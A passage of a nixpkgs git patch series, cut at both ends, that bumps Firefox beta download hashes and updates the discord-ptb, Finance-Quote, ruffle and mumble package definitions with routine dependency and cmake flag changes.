+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/rm/Firefox%20140.0b3.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "2bf8142a9034bd15ea15e625788d7dd2aeeb378df54b1e64330a99d6d8fb84e0";
+      sha256 = "ddd1cf01753ce22f577ebed4693fee2352b208d5c522e131f225fc3238bd8e2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ro/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ro/Firefox%20140.0b3.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "c739d147056f2fe970b53977e58139580c6200d414d5a07c656bd33386f8d1f9";
+      sha256 = "321ce0a38b5ec5a5cc81b2b62f8cdb4c48db017accec3ee887b79f5bb1e99c27";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ru/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ru/Firefox%20140.0b3.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "a52b9100ed56fdeb1d3fcb96741e379d96062a89d27a52dc3e1b56ee9d295941";
+      sha256 = "771e6eea536f0fe44c213c03adbfda1126e077b04a3400fcef152e952db62f6b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sat/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sat/Firefox%20140.0b3.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "593a800e5993a1d64b25de417e21b86604bf00a5a46b3bdabeda86ab04876a31";
+      sha256 = "564202f15ded2336241f1baeecc251842e608f24e8923c9212e3b78d14b8604f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sc/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sc/Firefox%20140.0b3.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "195f0e203e720b40024ccfe65e98b9c3fe485e5f27ab10aeb7f01145f129be2c";
+      sha256 = "6e6598ff2ac53d8c1fc9e63bd9393703b59cf26b8ab4abe011d9b501a17eaeec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sco/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sco/Firefox%20140.0b3.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "dfceefc189afb27e80659e38446433b9cf92fb81c92b783ff9ae1533a0ca950c";
+      sha256 = "99f6c0d9c7301dbd8a58ae03458bcf5d093a54ad30e2960aa0fbe02c81656dc4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/si/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/si/Firefox%20140.0b3.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "70c88ca3c07759e59add1e057020f7bc18a9b2dd582178727bd6c0c9a74ff407";
+      sha256 = "df763722f9a8c41d15f06f8dbf23eaeb868566488feecf396686daf08073433a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sk/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sk/Firefox%20140.0b3.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "ce352af03817432c6f8da15ffa2c57ecd2fde59729140ac0f7cd59439d677185";
+      sha256 = "afc30e2f4beab9c64ff597178558a0c28da0c53f311b4f3cd70516ed84ec4c80";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/skr/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/skr/Firefox%20140.0b3.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "6205c5cc529b43747cbbb3931e828dd273cac01c1cb4413c8dccf8a3f37b075e";
+      sha256 = "0cf03ef8ccf6889ea45d5c3c01bf0f8538280ad0a0b4ba0d62d0cb880fa70079";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sl/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sl/Firefox%20140.0b3.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "74cb297c6f9fc2fef69bfa7f8a0f7c846e6980ef980b40b8479ca843caf20fc2";
+      sha256 = "c43cb64d9398081fd7b5253d7cfcf4cf2f187f3b6df55558370e08a49da606f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/son/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/son/Firefox%20140.0b3.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "d0972c1cf8c89153daaa8fecea950802dc3c15d93e53eb0549f33e31178dc51f";
+      sha256 = "09b827b23e0578dc465b1e33c2c35ad611665c8487e6b37671f7c2a27a09ea60";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sq/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sq/Firefox%20140.0b3.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "cf89a59786a888726616aae73c8b1a3ba783e64fbcfda3b383d66ec72a6b1d8d";
+      sha256 = "9dcb230c1b926cbd53b5474007148b254a3063b3893cd0bb6e297314e264916e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sr/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sr/Firefox%20140.0b3.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "91ebceddc8280c6c7fb35306abdc551ca4671944f7caceb493a5dab8f200a563";
+      sha256 = "8538c307eda6362bbb88b300f74a6db401d969a6a90cf6c0c0f515aed07e5078";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/sv-SE/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sv-SE/Firefox%20140.0b3.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "864e8427329b950ad42ead7d0044c51a5bc5595f1f94038093b0fbc6eaeee2f3";
+      sha256 = "4885cf3ba66f3e9f562349bfe9dae07d54331a13d8ec55dc875f51d18ba5c410";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/szl/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/szl/Firefox%20140.0b3.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "92dae8cb9b2f3388a070672cbe74e2f2399cd416374f78ac7201ac6389bf5865";
+      sha256 = "17441b0d020fa3d308294563475e6195f143997e0b978a3ede06f68f05ebfd43";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ta/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ta/Firefox%20140.0b3.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "3998a4b1d8eedce4789b33fbdfe887bb6c434ef668d45d8cc12445351de18ad9";
+      sha256 = "4f81bf6a7ad7dc6f9dfd50c985156e94d28edde7e2b1d2517786d155c6132bf7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/te/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/te/Firefox%20140.0b3.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "b47d181b75916c505795aa612cfd44708f4fdf99e2c47d95ad8b01fd92eff35a";
+      sha256 = "56a4a194e1dfc3a1abf7b9c28cdc1fd4f5613658d80c1801425e8e32dce4abd0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/tg/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/tg/Firefox%20140.0b3.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "a149324442209694df3a229d00ccb2f67c7589a601dccf4a263f7e9ab5b80425";
+      sha256 = "104a63204b38ab9d82c80e788750a9ca2553000e2084b01d7d8c0227e5777e51";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/th/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/th/Firefox%20140.0b3.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "5391f60c1322ad8ae87436317ac6b95c1c1d3d5f112d5b3d23e82af45118caf8";
+      sha256 = "9a05c4049d84f7f6b0172195f34a98f69aeacdd5a5d80d935fad49052bb8d759";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/tl/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/tl/Firefox%20140.0b3.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "c2a5ee86077abe59ae4acf0ce3d1d4ba2c86511fac1ec44a21bde5c1a714509e";
+      sha256 = "3b24fa93c80889bdfe3375340f33d7220800c48256509dcb86366d9c274a4226";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/tr/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/tr/Firefox%20140.0b3.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "799ec56efb3bd5fa7e5f76f9cf7683711c79f342fbf02fd69037d8141887f682";
+      sha256 = "e4ea76861425944db62f6befd078d75308d493a85162f1211f9081a95e9c9317";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/trs/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/trs/Firefox%20140.0b3.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "9f6123302bcf9b18344260e3dfab6839087ea41a42daf9c2fed7df04e3362ff4";
+      sha256 = "6caf872e4204661d93f98c1f6c83ed04f506b387d416e89937e45d6413b9af1e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/uk/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/uk/Firefox%20140.0b3.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "f2e58fb4bae53bd8dc03cd5c29e9d5676dced99a2376322a0ba013eaa5154bb4";
+      sha256 = "7364e3a29e2b412e705779342341028abec59f9e88f80ae98d036e362cdb56da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/ur/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ur/Firefox%20140.0b3.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "a4db73f4a8b98557ceb77f1f491e48bd783f0f4f5941d5234309d618a0221a7d";
+      sha256 = "7d2cb1a3a42b1c5e4fd70b38683243bea376a7f8a44719d96ed1ce0c2ddde982";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/uz/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/uz/Firefox%20140.0b3.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "0446e4a59da6f5e3fb242c2a9e3adb781832c2729f64167a12351638f3d00d8a";
+      sha256 = "66cd768b169964d3509bf2f6de345ba12944498206857161a1afda4e35bd7876";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/vi/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/vi/Firefox%20140.0b3.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "e6f47ff4cc809313f928fb365ccd716f7c8de8a5e914e7afdc774c7f3fbd03f4";
+      sha256 = "c978392a737c19328f374e018ebbce779f61ed3e7b7f61d549fc9d3dcf1bf92e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/xh/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/xh/Firefox%20140.0b3.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "c4ee8e4849fa4334757c2068f9eb94341bba22b7298c767f7fffa8cde8341c6b";
+      sha256 = "780f47c26ac2f447758a27396d9f5e4dfe979037a3471a9e5dfda36b2db05c9c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/zh-CN/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/zh-CN/Firefox%20140.0b3.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "f22948993a7882ef1e244bcda91b0cd9ef4c814d17f4f54af2b9911e44f0899f";
+      sha256 = "4530f0a24d355a124470f9bb913e4664785fda206b449ceb5ff4679277396f4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/mac/zh-TW/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/zh-TW/Firefox%20140.0b3.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "c95699dca04392bf80ecd477514e74804614765d53029a9be80e9ea6b821a90c";
+      sha256 = "26191d7fd1fb4083f4bf79e5287c47f024606786a56c6f87cfaf4a12e5b93ffe";
     }
   ];
 }

From a70e05e1a447920953a6ef549cd427bcf74d0668 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 31 May 2025 13:55:07 +0000
Subject: [PATCH 0340/4511] discord-ptb: 0.0.144 -> 0.0.146

(cherry picked from commit 8c4be0e86dd5a35c4fba3e4bf44dbee09882c53c)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 5fd920588f03..b8e2c765cb23 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -10,7 +10,7 @@ let
     if stdenv.hostPlatform.isLinux then
       {
         stable = "0.0.95";
-        ptb = "0.0.144";
+        ptb = "0.0.146";
         canary = "0.0.687";
         development = "0.0.75";
       }
@@ -30,7 +30,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";
-        hash = "sha256-URTBQ2YzkC8p7524RqR1OCqI3WkvtsClvd91RIWEQqU=";
+        hash = "sha256-bcQsz6hhgtUD2j0MD3rEdFhsGJMQY1+yo19y/lLX+j8=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";

From c6f93604a5dd6f37ac3e642b140e31ce3dcdc72f Mon Sep 17 00:00:00 2001
From: Yongun Seong <nevivurn@nevi.dev>
Date: Sun, 25 May 2025 20:09:07 +0900
Subject: [PATCH 0341/4511] perlPackages.FinanceQuote: 1.64 -> 1.65

(cherry picked from commit 4c45a3c0b5789f46ca3915625f7522103bb1a84c)
---
 pkgs/top-level/perl-packages.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index d01571ed3d46..92571b638cae 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -14155,10 +14155,10 @@ with self;
 
   FinanceQuote = buildPerlPackage rec {
     pname = "Finance-Quote";
-    version = "1.64";
+    version = "1.65";
     src = fetchurl {
       url = "mirror://cpan/authors/id/B/BP/BPSCHUCK/Finance-Quote-${version}.tar.gz";
-      hash = "sha256-BYB8lEFakSzlbiJ4FRcTjv/OdoOaj4LtOLsxxAaOXBs=";
+      hash = "sha256-C3pJZaLJrW+nwDawloHHtEWyB1j6qYNnsmZZz2L+Axg=";
     };
     buildInputs = [
       DateManip

From 12637abcd4b9974ce6862785c586ca639339275c Mon Sep 17 00:00:00 2001
From: "JS (normalc/ea)" <normalc@posteo.net>
Date: Fri, 16 May 2025 16:39:59 -0400
Subject: [PATCH 0342/4511] ruffle: refactor to correct dependencies

(cherry picked from commit d18a0c4b3616e87f2941f2b3ee27ff392e17fad8)
---
 pkgs/by-name/ru/ruffle/package.nix | 76 ++++++++++++++----------------
 1 file changed, 36 insertions(+), 40 deletions(-)

diff --git a/pkgs/by-name/ru/ruffle/package.nix b/pkgs/by-name/ru/ruffle/package.nix
index 70276d790f80..69f03de5e5a0 100644
--- a/pkgs/by-name/ru/ruffle/package.nix
+++ b/pkgs/by-name/ru/ruffle/package.nix
@@ -1,16 +1,15 @@
 {
   lib,
-  stdenvNoCC,
+  stdenv,
   rustPlatform,
   withRuffleTools ? false,
   fetchFromGitHub,
   jre_minimal,
   pkg-config,
-  wrapGAppsHook3,
+  autoPatchelfHook,
   alsa-lib,
-  gtk3,
-  openssl,
   wayland,
+  xorg,
   vulkan-loader,
   udev,
   libxkbcommon,
@@ -49,19 +48,43 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   nativeBuildInputs =
     [ jre_minimal ]
-    ++ lib.optionals stdenvNoCC.hostPlatform.isLinux [
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
       pkg-config
-      wrapGAppsHook3
+      autoPatchelfHook
     ]
-    ++ lib.optionals stdenvNoCC.hostPlatform.isDarwin [ rustPlatform.bindgenHook ];
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ rustPlatform.bindgenHook ];
 
-  buildInputs = lib.optionals stdenvNoCC.hostPlatform.isLinux [
+  buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     alsa-lib
-    gtk3
-    openssl
-    wayland
-    vulkan-loader
     udev
+    (lib.getLib stdenv.cc.cc)
+  ];
+
+  # Prevents ruffle from downloading openh264 at runtime for Linux
+  openh264-241 =
+    if stdenv.hostPlatform.isLinux then
+      openh264.overrideAttrs (_: rec {
+        version = "2.4.1";
+        src = fetchFromGitHub {
+          owner = "cisco";
+          repo = "openh264";
+          tag = "v${version}";
+          hash = "sha256-ai7lcGcQQqpsLGSwHkSs7YAoEfGCIbxdClO6JpGA+MI=";
+        };
+      })
+    else
+      null;
+
+  runtimeDependencies = [
+    wayland
+    xorg.libXcursor
+    xorg.libXrandr
+    xorg.libXi
+    xorg.libX11
+    xorg.libxcb
+    libxkbcommon
+    vulkan-loader
+    finalAttrs.openh264-241
   ];
 
   postInstall =
@@ -70,7 +93,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       install -Dm644 LICENSE.md -t $out/share/doc/ruffle
       install -Dm644 README.md -t $out/share/doc/ruffle
     ''
-    + lib.optionalString stdenvNoCC.hostPlatform.isLinux ''
+    + lib.optionalString stdenv.hostPlatform.isLinux ''
       install -Dm644 desktop/packages/linux/rs.ruffle.Ruffle.desktop \
                      -t $out/share/applications/
 
@@ -81,33 +104,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
                      -t $out/share/metainfo/
     '';
 
-  # Prevents ruffle from downloading openh264 at runtime for Linux
-  openh264-241 =
-    if stdenvNoCC.hostPlatform.isLinux then
-      openh264.overrideAttrs (_: rec {
-        version = "2.4.1";
-        src = fetchFromGitHub {
-          owner = "cisco";
-          repo = "openh264";
-          tag = "v${version}";
-          hash = "sha256-ai7lcGcQQqpsLGSwHkSs7YAoEfGCIbxdClO6JpGA+MI=";
-        };
-        postPatch = null;
-      })
-    else
-      null;
-
-  preFixup = lib.optionalString stdenvNoCC.hostPlatform.isLinux ''
-    gappsWrapperArgs+=(--prefix LD_LIBRARY_PATH : ${
-      lib.makeLibraryPath [
-        libxkbcommon
-        finalAttrs.openh264-241
-        vulkan-loader
-        wayland
-      ]
-    })
-  '';
-
   passthru = {
     updateScript = lib.getExe (writeShellApplication {
       name = "ruffle-update";

From 620477e82f46dc26849bd3e093843100dce0e748 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Martin=20Ha=CC=88cker?= <mhaecker@mac.com>
Date: Sun, 23 Feb 2025 21:11:23 +0100
Subject: [PATCH 0343/4511] mumble: rename configureFlags > cmakeFlags

As a reader I first thought that this package was built using automatke,
when in fact it is built using cmake. This rename should help lessen that confusion.

(cherry picked from commit 3d6d1c6db828990134e05ab3bb007e3df9547f7a)
---
 pkgs/applications/networking/mumble/default.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/applications/networking/mumble/default.nix b/pkgs/applications/networking/mumble/default.nix
index cab3e4774bee..64229c71ae43 100644
--- a/pkgs/applications/networking/mumble/default.nix
+++ b/pkgs/applications/networking/mumble/default.nix
@@ -63,7 +63,7 @@ let
           "-D g15=OFF"
           "-D CMAKE_CXX_STANDARD=17" # protobuf >22 requires C++ 17
           "-D BUILD_NUMBER=${lib.versions.patch source.version}"
-        ] ++ (overrides.configureFlags or [ ]);
+        ] ++ (overrides.cmakeFlags or [ ]);
 
         preConfigure = ''
           patchShebangs scripts
@@ -107,7 +107,7 @@ let
         ++ lib.optional pulseSupport libpulseaudio
         ++ lib.optional pipewireSupport pipewire;
 
-      configureFlags =
+      cmakeFlags =
         [
           "-D server=OFF"
           "-D bundled-celt=ON"
@@ -141,7 +141,7 @@ let
     generic {
       type = "murmur";
 
-      configureFlags =
+      cmakeFlags =
         [
           "-D client=OFF"
         ]
@@ -161,7 +161,7 @@ let
       stdenv = stdenv_32bit;
       type = "mumble-overlay";
 
-      configureFlags = [
+      cmakeFlags = [
         "-D server=OFF"
         "-D client=OFF"
         "-D overlay=ON"

From 00886daa94e52531a2e862b8d28058838a1e30f3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E2=80=AErekc=C3=A4H=20nitraM=E2=80=AE?=
 <spamfaenger@gmx.de>
Date: Wed, 5 Mar 2025 08:35:25 +0100
Subject: [PATCH 0344/4511] mumble: use lib helpers for cmake options where it
 makes them simpler

These are the cases where bools have to be converted to options, so the
helpers help make the code shorter and easier to read.

(cherry picked from commit 8dcb8d4a440ae95e12e42750ea22698570af63aa)
---
 .../networking/mumble/default.nix             | 34 +++++++++----------
 1 file changed, 17 insertions(+), 17 deletions(-)

diff --git a/pkgs/applications/networking/mumble/default.nix b/pkgs/applications/networking/mumble/default.nix
index 64229c71ae43..7fbfb493737e 100644
--- a/pkgs/applications/networking/mumble/default.nix
+++ b/pkgs/applications/networking/mumble/default.nix
@@ -107,22 +107,22 @@ let
         ++ lib.optional pulseSupport libpulseaudio
         ++ lib.optional pipewireSupport pipewire;
 
-      cmakeFlags =
-        [
-          "-D server=OFF"
-          "-D bundled-celt=ON"
-          "-D bundled-opus=OFF"
-          "-D bundled-speex=OFF"
-          "-D bundle-qt-translations=OFF"
-          "-D update=OFF"
-          "-D overlay-xcompile=OFF"
-          "-D oss=OFF"
-          "-D warnings-as-errors=OFF" # conversion error workaround
-        ]
-        ++ lib.optional (!speechdSupport) "-D speechd=OFF"
-        ++ lib.optional (!pulseSupport) "-D pulseaudio=OFF"
-        ++ lib.optional (!pipewireSupport) "-D pipewire=OFF"
-        ++ lib.optional jackSupport "-D alsa=OFF -D jackaudio=ON";
+      cmakeFlags = [
+        "-D server=OFF"
+        "-D bundled-celt=ON"
+        "-D bundled-opus=OFF"
+        "-D bundled-speex=OFF"
+        "-D bundle-qt-translations=OFF"
+        "-D update=OFF"
+        "-D overlay-xcompile=OFF"
+        "-D oss=OFF"
+        "-D warnings-as-errors=OFF" # conversion error workaround
+        (lib.cmakeBool "speechd" speechdSupport)
+        (lib.cmakeBool "pulseaudio" pulseSupport)
+        (lib.cmakeBool "pipewire" pipewireSupport)
+        (lib.cmakeBool "jackaudio" jackSupport)
+        (lib.cmakeBool "alsa" (!jackSupport))
+      ];
 
       env.NIX_CFLAGS_COMPILE = lib.optionalString speechdSupport "-I${speechd-minimal}/include/speech-dispatcher";
 
@@ -144,8 +144,8 @@ let
       cmakeFlags =
         [
           "-D client=OFF"
+          (lib.cmakeBool "ice" iceSupport)
         ]
-        ++ lib.optional (!iceSupport) "-D ice=OFF"
         ++ lib.optionals iceSupport [
           "-D Ice_HOME=${lib.getDev zeroc-ice};${lib.getLib zeroc-ice}"
           "-D CMAKE_PREFIX_PATH=${lib.getDev zeroc-ice};${lib.getLib zeroc-ice}"

From 49cf666ef604cfa74b62a53c42f6a4fac0e5b06f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E2=80=AErekc=C3=A4H=20nitraM=E2=80=AE?=
 <spamfaenger@gmx.de>
Date: Wed, 5 Mar 2025 09:39:20 +0100
Subject: [PATCH 0345/4511] mumble: CMAKE_PREFIX_PATH is not required to build
 the server.

(cherry picked from commit 87952b4973d06344d1007ab0c7c4e5d29084826c)
---
 pkgs/applications/networking/mumble/default.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/applications/networking/mumble/default.nix b/pkgs/applications/networking/mumble/default.nix
index 7fbfb493737e..4e56965ff8f7 100644
--- a/pkgs/applications/networking/mumble/default.nix
+++ b/pkgs/applications/networking/mumble/default.nix
@@ -148,7 +148,6 @@ let
         ]
         ++ lib.optionals iceSupport [
           "-D Ice_HOME=${lib.getDev zeroc-ice};${lib.getLib zeroc-ice}"
-          "-D CMAKE_PREFIX_PATH=${lib.getDev zeroc-ice};${lib.getLib zeroc-ice}"
           "-D Ice_SLICE_DIR=${lib.getDev zeroc-ice}/share/ice/slice"
         ];
 

From 86dbe0c4ba714b2143c5356f2aeb9ee450f66e10 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E2=80=AErekc=C3=A4H=20nitraM=E2=80=AE?=
 <spamfaenger@gmx.de>
Date: Tue, 4 Mar 2025 08:03:11 +0100
Subject: [PATCH 0346/4511] mumble: Add dependency on nix provided
 microsoft-gsl library

(cherry picked from commit 97d7f7cd630da537b111860976f9243fbe5cf179)
---
 pkgs/applications/networking/mumble/default.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/applications/networking/mumble/default.nix b/pkgs/applications/networking/mumble/default.nix
index 4e56965ff8f7..d666d85d8387 100644
--- a/pkgs/applications/networking/mumble/default.nix
+++ b/pkgs/applications/networking/mumble/default.nix
@@ -32,6 +32,7 @@
   libpulseaudio,
   speechdSupport ? false,
   speechd-minimal,
+  microsoft-gsl,
 }:
 
 let
@@ -57,12 +58,14 @@ let
           boost
           poco
           protobuf
+          microsoft-gsl
         ] ++ (overrides.buildInputs or [ ]);
 
         cmakeFlags = [
           "-D g15=OFF"
           "-D CMAKE_CXX_STANDARD=17" # protobuf >22 requires C++ 17
           "-D BUILD_NUMBER=${lib.versions.patch source.version}"
+          "-D bundled-gsl=OFF"
         ] ++ (overrides.cmakeFlags or [ ]);
 
         preConfigure = ''

From 1e2a55e27caf613005232bba6b35b620658c8037 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E2=80=AErekc=C3=A4H=20nitraM=E2=80=AE?=
 <spamfaenger@gmx.de>
Date: Tue, 4 Mar 2025 08:01:33 +0100
Subject: [PATCH 0347/4511] mumble: Add dependency on nix provided
 nlohmann_json

(cherry picked from commit ae734d01c408d3836c8d8eb3c0c6e15a8efc4f80)
---
 pkgs/applications/networking/mumble/default.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/applications/networking/mumble/default.nix b/pkgs/applications/networking/mumble/default.nix
index d666d85d8387..975e8ca89392 100644
--- a/pkgs/applications/networking/mumble/default.nix
+++ b/pkgs/applications/networking/mumble/default.nix
@@ -33,6 +33,7 @@
   speechdSupport ? false,
   speechd-minimal,
   microsoft-gsl,
+  nlohmann_json,
 }:
 
 let
@@ -59,6 +60,7 @@ let
           poco
           protobuf
           microsoft-gsl
+          nlohmann_json
         ] ++ (overrides.buildInputs or [ ]);
 
         cmakeFlags = [
@@ -66,6 +68,7 @@ let
           "-D CMAKE_CXX_STANDARD=17" # protobuf >22 requires C++ 17
           "-D BUILD_NUMBER=${lib.versions.patch source.version}"
           "-D bundled-gsl=OFF"
+          "-D bundled-json=OFF"
         ] ++ (overrides.cmakeFlags or [ ]);
 
         preConfigure = ''
@@ -102,7 +105,6 @@ let
           libvorbis
           qt5.qtsvg
           rnnoise
-          speex
         ]
         ++ lib.optional (!jackSupport) alsa-lib
         ++ lib.optional jackSupport libjack2

From c5ff4213e842cc9f325ed26384a23dce716341e7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Martin=20Ha=CC=88cker?= <mhaecker@mac.com>
Date: Mon, 3 Mar 2025 18:18:13 +0100
Subject: [PATCH 0348/4511] mumble: Add correct dependency for use-speex option

Support for the speex codec has long since been removed from upstream.

See https://github.com/mumble-voip/mumble/pull/5869 for details.

the use-bundled-speex option now means to use the speex-dsp library
which is packaged separately in nix.

(cherry picked from commit d679111ed41388fb7b08077fe713086fa450d88d)
---
 pkgs/applications/networking/mumble/default.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/applications/networking/mumble/default.nix b/pkgs/applications/networking/mumble/default.nix
index 975e8ca89392..00683dd5d7fe 100644
--- a/pkgs/applications/networking/mumble/default.nix
+++ b/pkgs/applications/networking/mumble/default.nix
@@ -10,8 +10,8 @@
   boost,
   libopus,
   libsndfile,
+  speexdsp,
   protobuf,
